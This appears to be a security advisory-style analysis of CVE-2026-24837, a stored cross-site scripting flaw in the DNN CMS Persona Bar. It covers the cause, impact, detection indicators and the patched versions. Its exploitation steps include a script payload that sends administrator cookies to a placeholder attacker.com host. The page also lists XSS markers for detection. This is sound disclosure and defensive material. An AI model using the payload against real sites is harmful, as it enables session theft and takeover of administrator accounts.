CVE-2026-24837: 
C# vulnerability analysis and mitigation

CVE-2026-24837 is a stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. The flaw allows a module's friendly name to include malicious scripts that execute during certain module operations within the Persona Bar administrative interface. It affects DotNetNuke.Core versions 9.0.0 through 9.13.9 and 10.0.0 through 10.1.x. The vulnerability was published on January 27–28, 2026, with fixes available in versions 9.13.10 and 10.2.0. The GitHub Security Advisory assigns a CVSS v3.1 score of 7.6 (High), while NVD records a score of 5.4 (Medium) (GitHub Advisory, DNN Advisory).

The root cause is improper neutralization of user-controllable input in the module friendly name field before it is rendered in the Persona Bar's module deletion confirmation modal (CWE-79: Stored XSS). An attacker with sufficient privileges to configure a module can embed a malicious script payload in the module's friendly name; this payload is stored server-side and later executed in the browser of any administrator who triggers the affected module operation (e.g., deletion confirmation). The attack vector is network-based, requires low-to-high privileges to inject the payload, and requires user interaction (an admin viewing the affected modal) to trigger execution (GitHub Advisory, DNN Advisory).

Successful exploitation allows the injected script to execute in the context of an authenticated administrator's browser session within the DNN Persona Bar. This can lead to session token theft, unauthorized administrative actions, content modification, or further lateral movement within the CMS environment. The scope change (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other resources managed by the administrator (GitHub Advisory, DNN Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.038% (0.000380), indicating a low near-term exploitation probability. The vulnerability requires the attacker to already have privileges sufficient to set a module's friendly name, which limits the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability is detectable by Qualys (detection IDs 5007255, 530990) and Nessus (detection ID 297831) (GitHub Advisory, Feedly).

1. Gain privileged access: Obtain credentials for a DNN account with sufficient permissions to create or configure modules (e.g., a module editor or administrator account).
2. Set malicious module friendly name: Navigate to the module configuration settings and set the module's friendly name to a payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar XSS payload.
3. Save the configuration: Submit the module configuration, causing the malicious friendly name to be stored in the DNN database.
4. Wait for admin interaction: The payload executes when a higher-privileged administrator opens the Persona Bar and triggers a module operation that renders the friendly name — such as the module deletion confirmation modal.
5. Harvest results: The attacker's script runs in the admin's browser context, potentially exfiltrating session cookies, performing actions on behalf of the admin, or establishing further persistence (GitHub Advisory, DNN Advisory).

• Logs: DNN application logs showing unexpected module configuration changes, particularly updates to module friendly names containing HTML tags or JavaScript syntax (<script>, onerror=, javascript:, etc.).
• Database: Entries in the DNN modules table where the FriendlyName column contains script tags or encoded JavaScript payloads.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing the Persona Bar module management interface; potential exfiltration of session tokens to attacker-controlled endpoints.
• Browser/Session: Unexpected administrative actions (module deletions, user changes, content modifications) performed under a legitimate admin session that the admin did not initiate.

DNN has released patched versions 9.13.10 and 10.2.0 that address this vulnerability by properly sanitizing module friendly name input before rendering it in the Persona Bar. Administrators should upgrade to one of these versions as the primary remediation. As an interim measure, restrict module configuration permissions to the minimum necessary set of trusted users to reduce the attack surface. No specific configuration-based workaround has been published by the vendor (DNN Advisory, GitHub Advisory).

The vulnerability was reported by security researcher mojav3r and remediated by DNN developer bdukes, as credited in the GitHub Security Advisory. Brief mentions appeared on infosec-focused social media platforms including Mastodon (TheHackerWire) and Bluesky shortly after disclosure. A technical write-up was published by Infinit Security detailing the stored XSS in the module deletion confirmation modal. The CISA vulnerability bulletin for the week of January 26, 2026 included reference to this CVE (GitHub Advisory, CISA Bulletin).